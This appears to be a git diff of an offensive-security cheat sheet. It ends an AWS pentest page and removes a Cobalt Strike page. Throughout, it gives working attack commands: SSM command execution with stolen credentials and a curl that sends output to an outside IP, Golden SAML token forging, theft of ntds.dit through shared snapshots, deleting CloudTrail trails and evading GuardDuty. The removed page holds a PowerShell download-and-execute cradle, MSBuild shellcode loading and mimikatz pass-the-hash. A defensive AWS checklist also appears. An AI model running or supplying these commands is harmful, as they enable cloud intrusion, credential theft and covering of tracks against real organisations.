$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
|
|
||||||
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
|
|
||||||
|
|
||||||
e.g:
|
|
||||||
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Golden SAML Attack
|
|
||||||
|
|
||||||
https://www.youtube.com/watch?v=5dj4vOqqGZw
|
|
||||||
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
|
|
||||||
|
|
||||||
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
|
|
||||||
|
|
||||||
Requirement:
|
|
||||||
* Token-signing private key (export from personal store using Mimikatz)
|
|
||||||
* IdP public certificate
|
|
||||||
* IdP name
|
|
||||||
* Role name (role to assume)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
|
|
||||||
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
|
|
||||||
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
|
||||||
```
|
|
||||||
|
|
||||||
## AWS - Shadow Copy attack
|
|
||||||
|
|
||||||
Prerequisite:
|
|
||||||
* EC2:CreateSnapshot
|
|
||||||
* CloudCopy - https://github.com/Static-Flow/CloudCopy
|
|
||||||
|
|
||||||
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
|
|
||||||
2. Run `"Describe-Instances"` and show in list for attacker to select
|
|
||||||
3. Run `"Create-Snapshot"` on volume of selected instance
|
|
||||||
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
|
|
||||||
5. Load AWS CLI with Attacker Credentials
|
|
||||||
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
|
|
||||||
7. Ssh run `"sudo mkdir /windows"`
|
|
||||||
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
|
|
||||||
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
|
|
||||||
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
|
|
||||||
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
|
|
||||||
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
|
|
||||||
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
|
|
||||||
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
|
|
||||||
|
|
||||||
## Disable CloudTrail
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
|
|
||||||
```
|
|
||||||
|
|
||||||
Disable monitoring of events from global services
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
|
|
||||||
```
|
|
||||||
|
|
||||||
Disable Cloud Trail on specific regions
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
|
|
||||||
```
|
|
||||||
|
|
||||||
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
|
|
||||||
|
|
||||||
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
|
|
||||||
|
|
||||||
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
|
|
||||||
|
|
||||||
```python
|
|
||||||
boto3_session = boto3.session.Session()
|
|
||||||
ua = boto3_session._session.user_agent()
|
|
||||||
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
|
|
||||||
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
|
|
||||||
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
|
|
||||||
```
|
|
||||||
|
|
||||||
## DynamoDB
|
|
||||||
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
|
|
||||||
|
|
||||||
* list tables
|
|
||||||
```bash
|
|
||||||
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
|
|
||||||
|
|
||||||
{
|
|
||||||
"TableNames": [
|
|
||||||
"users"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
* enumerate table content
|
|
||||||
```bash
|
|
||||||
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
|
|
||||||
|
|
||||||
{
|
|
||||||
"password": {
|
|
||||||
"S": "Management@#1@#"
|
|
||||||
},
|
|
||||||
"username": {
|
|
||||||
"S": "Mgmt"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Security checks
|
|
||||||
|
|
||||||
https://github.com/DenizParlak/Zeus
|
|
||||||
|
|
||||||
* Identity and Access Management
|
|
||||||
* Avoid the use of the "root" account
|
|
||||||
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
|
|
||||||
* Ensure credentials unused for 90 days or greater are disabled
|
|
||||||
* Ensure access keys are rotated every 90 days or less
|
|
||||||
* Ensure IAM password policy requires at least one uppercase letter
|
|
||||||
* Ensure IAM password policy requires at least one lowercase letter
|
|
||||||
* Ensure IAM password policy requires at least one symbol
|
|
||||||
* Ensure IAM password policy requires at least one number
|
|
||||||
* Ensure IAM password policy requires minimum length of 14 or greater
|
|
||||||
* Ensure no root account access key exists
|
|
||||||
* Ensure MFA is enabled for the "root" account
|
|
||||||
* Ensure security questions are registered in the AWS account
|
|
||||||
* Ensure IAM policies are attached only to groups or role
|
|
||||||
* Enable detailed billing
|
|
||||||
* Maintain current contact details
|
|
||||||
* Ensure security contact information is registered
|
|
||||||
* Ensure IAM instance roles are used for AWS resource access from instances
|
|
||||||
* Logging
|
|
||||||
* Ensure CloudTrail is enabled in all regions
|
|
||||||
* Ensure CloudTrail log file validation is enabled
|
|
||||||
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
|
|
||||||
* Ensure CloudTrail trails are integrated with CloudWatch Logs
|
|
||||||
* Ensure AWS Config is enabled in all regions
|
|
||||||
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
|
|
||||||
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
|
|
||||||
* Ensure rotation for customer created CMKs is enabled
|
|
||||||
* Networking
|
|
||||||
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
|
|
||||||
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
|
|
||||||
* Ensure VPC flow logging is enabled in all VPC
|
|
||||||
* Ensure the default security group of every VPC restricts all traffic
|
|
||||||
* Monitoring
|
|
||||||
* Ensure a log metric filter and alarm exist for unauthorized API calls
|
|
||||||
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
|
|
||||||
* Ensure a log metric filter and alarm exist for usage of "root" account
|
|
||||||
* Ensure a log metric filter and alarm exist for IAM policy changes
|
|
||||||
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
|
|
||||||
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
|
|
||||||
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
|
|
||||||
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
|
|
||||||
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
|
|
||||||
* Ensure a log metric filter and alarm exist for security group changes
|
|
||||||
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
|
|
||||||
* Ensure a log metric filter and alarm exist for changes to network gateways
|
|
||||||
* Ensure a log metric filter and alarm exist for route table changes
|
|
||||||
* Ensure a log metric filter and alarm exist for VPC changes
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/)
|
|
||||||
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
|
|
||||||
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
|
||||||
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
|
||||||
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
|
|
||||||
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
|
|
||||||
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
|
|
||||||
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
|
|
||||||
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
|
|
||||||
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
|
|
||||||
* [amazon-guardduty-user-guide PenTest Finding Types - @awsdocs](https://github.com/awsdocs/amazon-guardduty-user-guide/blob/master/doc_source/guardduty_pentest.md)
|
|
||||||
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
|
|
||||||
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
|
||||||
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
|
|
||||||
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
|
|
||||||
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
|
|
||||||
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,486 +1,32 @@
|
|||||||
# Cobalt Strike
|
# Cobalt Strike
|
||||||
|
|
||||||
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
|
:warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/)
|
||||||
|
|
||||||
|
- [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure)
|
||||||
```powershell
|
- [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors)
|
||||||
$ sudo apt-get update
|
- [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting)
|
||||||
$ sudo apt-get install openjdk-11-jdk
|
- [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec)
|
||||||
$ sudo apt install proxychains socat
|
- [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id)
|
||||||
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
|
- [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads)
|
||||||
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
|
- [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon)
|
||||||
$ ./cobaltstrike
|
- [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon)
|
||||||
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
|
- [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility)
|
||||||
```
|
- [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads)
|
||||||
|
- [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2)
|
||||||
## Summary
|
- [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files)
|
||||||
|
- [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net)
|
||||||
* [Infrastructure](#infrastructure)
|
- [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands)
|
||||||
* [Redirectors](#redirectors)
|
- [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution)
|
||||||
* [Domain fronting](#domain-fronting)
|
- [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement)
|
||||||
* [OpSec](#opsec)
|
- [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots)
|
||||||
* [Customer ID](#customer-id)
|
- [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits)
|
||||||
* [Payloads](#payloads)
|
- [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit)
|
||||||
* [DNS Beacon](#dns-beacon)
|
- [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit)
|
||||||
* [SMB Beacon](#smb-beacon)
|
- [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit)
|
||||||
* [Metasploit compatibility](#metasploit-compatibility)
|
- [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit)
|
||||||
* [Custom Payloads](#custom-payloads)
|
- [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit)
|
||||||
* [Malleable C2](#malleable-c2)
|
- [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit)
|
||||||
* [Files](#files)
|
- [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
|
||||||
* [Powershell and .NET](#powershell-and-net)
|
- [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
|
||||||
* [Powershell commabds](#powershell-commands)
|
- [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
|
||||||
* [.NET remote execution](#net-remote-execution)
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)
|
||||||
* [Lateral Movement](#lateral-movement)
|
|
||||||
* [VPN & Pivots](#vpn--pivots)
|
|
||||||
* [Kits](#kits)
|
|
||||||
* [Elevate Kit](#elevate-kit)
|
|
||||||
* [Persistence Kit](#persistence-kit)
|
|
||||||
* [Resource Kit](#resource-kit)
|
|
||||||
* [Artifact Kit](#artifact-kit)
|
|
||||||
* [Mimikatz Kit](#mimikatz-kit)
|
|
||||||
* [Sleep Mask Kit](#sleep-mask-kit)
|
|
||||||
* [Thread Stack Spoofer](#thread-stack-spoofer)
|
|
||||||
* [Beacon Object Files](#beacon-object-files)
|
|
||||||
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
|
|
||||||
* [References](#references)
|
|
||||||
|
|
||||||
|
|
||||||
## Infrastructure
|
|
||||||
|
|
||||||
### Redirectors
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
sudo apt install socat
|
|
||||||
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
|
|
||||||
```
|
|
||||||
|
|
||||||
### Domain Fronting
|
|
||||||
|
|
||||||
* New Listener > HTTP Host Header
|
|
||||||
* Choose a domain in "Finance & Healthcare" sector
|
|
||||||
|
|
||||||
## OpSec
|
|
||||||
|
|
||||||
**Don't**
|
|
||||||
* Use default self-signed HTTPS certificate
|
|
||||||
* Use default port (50050)
|
|
||||||
* Use 0.0.0.0 DNS response
|
|
||||||
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
|
|
||||||
|
|
||||||
**Do**
|
|
||||||
* Use a redirector (Apache, CDN, ...)
|
|
||||||
* Firewall to only accept HTTP/S from the redirectors
|
|
||||||
* Firewall 50050 and access via SSH tunnel
|
|
||||||
* Edit default HTTP 404 page and Content type: text/plain
|
|
||||||
* No staging `set hosts_stage` to `false` in Malleable C2
|
|
||||||
* Use Malleable Profile to taylor your attack to specific actors
|
|
||||||
|
|
||||||
### Customer ID
|
|
||||||
|
|
||||||
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
|
|
||||||
|
|
||||||
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
|
|
||||||
* The trial has a Customer ID value of 0.
|
|
||||||
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
|
|
||||||
|
|
||||||
## Payloads
|
|
||||||
|
|
||||||
### DNS Beacon
|
|
||||||
|
|
||||||
* Edit the Zone File for the domain
|
|
||||||
* Create an A record for Cobalt Strike system
|
|
||||||
* Create an NS record that points to FQDN of your Cobalt Strike system
|
|
||||||
|
|
||||||
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
|
|
||||||
|
|
||||||
* nslookup jibberish.beacon polling.campaigns.domain.com
|
|
||||||
* nslookup jibberish.beacon campaigns.domain.com
|
|
||||||
|
|
||||||
Example of DNS on Digital Ocean:
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
NS example.com directs to 10.10.10.10. 86400
|
|
||||||
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
|
|
||||||
A campaigns.example.com directs to 10.10.10.10 3600
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
systemctl disable systemd-resolved
|
|
||||||
systemctl stop systemd-resolved
|
|
||||||
rm /etc/resolv.conf
|
|
||||||
echo "nameserver 8.8.8.8" > /etc/resolv.conf
|
|
||||||
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
|
|
||||||
```
|
|
||||||
|
|
||||||
Configuration:
|
|
||||||
1. **host**: campaigns.domain.com
|
|
||||||
2. **beacon**: polling.campaigns.domain.com
|
|
||||||
3. Interact with a beacon, and `sleep 0`
|
|
||||||
|
|
||||||
|
|
||||||
### SMB Beacon
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
link [host] [pipename]
|
|
||||||
connect [host] [port]
|
|
||||||
unlink [host] [PID]
|
|
||||||
jump [exec] [host] [pipe]
|
|
||||||
```
|
|
||||||
|
|
||||||
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
|
|
||||||
|
|
||||||
| Error Code | Meaning | Description |
|
|
||||||
|------------|----------------------|----------------------------------------------------|
|
|
||||||
| 2 | File Not Found | There is no beacon for you to link to |
|
|
||||||
| 5 | Access is denied | Invalid credentials or you don't have permission |
|
|
||||||
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
|
|
||||||
|
|
||||||
|
|
||||||
### SSH Beacon
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# deploy a beacon
|
|
||||||
beacon> help ssh
|
|
||||||
Use: ssh [target:port] [user] [pass]
|
|
||||||
Spawn an SSH client and attempt to login to the specified target
|
|
||||||
|
|
||||||
beacon> help ssh-key
|
|
||||||
Use: ssh [target:port] [user] [/path/to/key.pem]
|
|
||||||
Spawn an SSH client and attempt to login to the specified target
|
|
||||||
|
|
||||||
# beacon's commands
|
|
||||||
upload Upload a file
|
|
||||||
download Download a file
|
|
||||||
socks Start SOCKS4a server to relay traffic
|
|
||||||
sudo Run a command via sudo
|
|
||||||
rportfwd Setup a reverse port forward
|
|
||||||
shell Execute a command via the shell
|
|
||||||
```
|
|
||||||
|
|
||||||
### Metasploit compatibility
|
|
||||||
|
|
||||||
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
|
|
||||||
* Set LHOST and LPORT to the beacon
|
|
||||||
* Set DisablePayloadHandler to True
|
|
||||||
* Set PrependMigrate to True
|
|
||||||
* exploit -j
|
|
||||||
|
|
||||||
### Custom Payloads
|
|
||||||
|
|
||||||
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
* Attacks > Packages > Payload Generator
|
|
||||||
* Attacks > Packages > Scripted Web Delivery (S)
|
|
||||||
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
|
|
||||||
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
|
|
||||||
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
|
|
||||||
```
|
|
||||||
|
|
||||||
## Malleable C2
|
|
||||||
|
|
||||||
List of Malleable Profiles hosted on Github
|
|
||||||
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
|
|
||||||
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
|
|
||||||
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
|
|
||||||
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
|
|
||||||
|
|
||||||
Example of syntax
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
set useragent "SOME AGENT"; # GOOD
|
|
||||||
set useragent 'SOME AGENT'; # BAD
|
|
||||||
prepend "This is an example;";
|
|
||||||
|
|
||||||
# Escape Double quotes
|
|
||||||
append "here is \"some\" stuff";
|
|
||||||
# Escape Backslashes
|
|
||||||
append "more \\ stuff";
|
|
||||||
# Some special characters do not need escaping
|
|
||||||
prepend "!@#$%^&*()";
|
|
||||||
```
|
|
||||||
|
|
||||||
Check a profile with `./c2lint`.
|
|
||||||
* A result of 0 is returned if c2lint completes with no errors
|
|
||||||
* A result of 1 is returned if c2lint completes with only warnings
|
|
||||||
* A result of 2 is returned if c2lint completes with only errors
|
|
||||||
* A result of 3 is returned if c2lint completes with both errors and warning
|
|
||||||
|
|
||||||
## Files
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# List the file on the specified directory
|
|
||||||
beacon > ls <C:\Path>
|
|
||||||
|
|
||||||
# Change into the specified working directory
|
|
||||||
beacon > cd [directory]
|
|
||||||
|
|
||||||
# Delete a file\folder
|
|
||||||
beacon > rm [file\folder]
|
|
||||||
|
|
||||||
# File copy
|
|
||||||
beacon > cp [src] [dest]
|
|
||||||
|
|
||||||
# Download a file from the path on the Beacon host
|
|
||||||
beacon > download [C:\filePath]
|
|
||||||
|
|
||||||
# Lists downloads in progress
|
|
||||||
beacon > downloads
|
|
||||||
|
|
||||||
# Cancel a download currently in progress
|
|
||||||
beacon > cancel [*file*]
|
|
||||||
|
|
||||||
# Upload a file from the attacker to the current Beacon host
|
|
||||||
beacon > upload [/path/to/file]
|
|
||||||
```
|
|
||||||
|
|
||||||
## Powershell and .NET
|
|
||||||
|
|
||||||
### Powershell commands
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
|
|
||||||
beacon > powershell-import [/path/to/script.ps1]
|
|
||||||
|
|
||||||
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
|
|
||||||
beacon > powershell [commandlet][arguments]
|
|
||||||
|
|
||||||
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
|
|
||||||
beacon > powerpick [commandlet] [argument]
|
|
||||||
|
|
||||||
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
|
|
||||||
beacon > psinject [pid][arch] [commandlet] [arguments]
|
|
||||||
```
|
|
||||||
|
|
||||||
### .NET remote execution
|
|
||||||
|
|
||||||
Run a local .NET executable as a Beacon post-exploitation job.
|
|
||||||
|
|
||||||
Require:
|
|
||||||
* Binaries compiled with the "Any CPU" configuration.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
beacon > execute-assembly [/path/to/script.exe] [arguments]
|
|
||||||
beacon > execute-assembly /home/audit/Rubeus.exe
|
|
||||||
[*] Tasked beacon to run .NET program: Rubeus.exe
|
|
||||||
[+] host called home, sent: 318507 bytes
|
|
||||||
[+] received output:
|
|
||||||
|
|
||||||
______ _
|
|
||||||
(_____ \ | |
|
|
||||||
_____) )_ _| |__ _____ _ _ ___
|
|
||||||
| __ /| | | | _ \| ___ | | | |/___)
|
|
||||||
| | \ \| |_| | |_) ) ____| |_| |___ |
|
|
||||||
|_| |_|____/|____/|_____)____/(___/
|
|
||||||
|
|
||||||
v1.4.2
|
|
||||||
```
|
|
||||||
|
|
||||||
## Lateral Movement
|
|
||||||
|
|
||||||
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
|
|
||||||
|
|
||||||
- **portscan:** Performs a portscan on a spesific target.
|
|
||||||
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
|
|
||||||
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
|
|
||||||
:exclamation: This module needs Administrator privileges.
|
|
||||||
- **steal_token:** Steal a token from a specified process.
|
|
||||||
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
|
|
||||||
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
|
|
||||||
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
|
|
||||||
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
|
|
||||||
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
|
|
||||||
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
|
|
||||||
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
|
|
||||||
|
|
||||||
:warning: All the commands launch powershell.exe
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
Beacon Remote Exploits
|
|
||||||
======================
|
|
||||||
jump [module] [target] [listener]
|
|
||||||
|
|
||||||
psexec x86 Use a service to run a Service EXE artifact
|
|
||||||
psexec64 x64 Use a service to run a Service EXE artifact
|
|
||||||
psexec_psh x86 Use a service to run a PowerShell one-liner
|
|
||||||
winrm x86 Run a PowerShell script via WinRM
|
|
||||||
winrm64 x64 Run a PowerShell script via WinRM
|
|
||||||
|
|
||||||
Beacon Remote Execute Methods
|
|
||||||
=============================
|
|
||||||
remote-exec [module] [target] [command]
|
|
||||||
|
|
||||||
Methods Description
|
|
||||||
------- -----------
|
|
||||||
psexec Remote execute via Service Control Manager
|
|
||||||
winrm Remote execute via WinRM (PowerShell)
|
|
||||||
wmi Remote execute via WMI (PowerShell)
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
Opsec safe Pass-the-Hash:
|
|
||||||
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
|
|
||||||
2. `steal_token PID`
|
|
||||||
|
|
||||||
### Assume Control of Artifact
|
|
||||||
|
|
||||||
* Use `link` to connect to SMB Beacon
|
|
||||||
* Use `connect` to connect to TCP Beacon
|
|
||||||
|
|
||||||
|
|
||||||
## VPN & Pivots
|
|
||||||
|
|
||||||
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
|
|
||||||
|
|
||||||
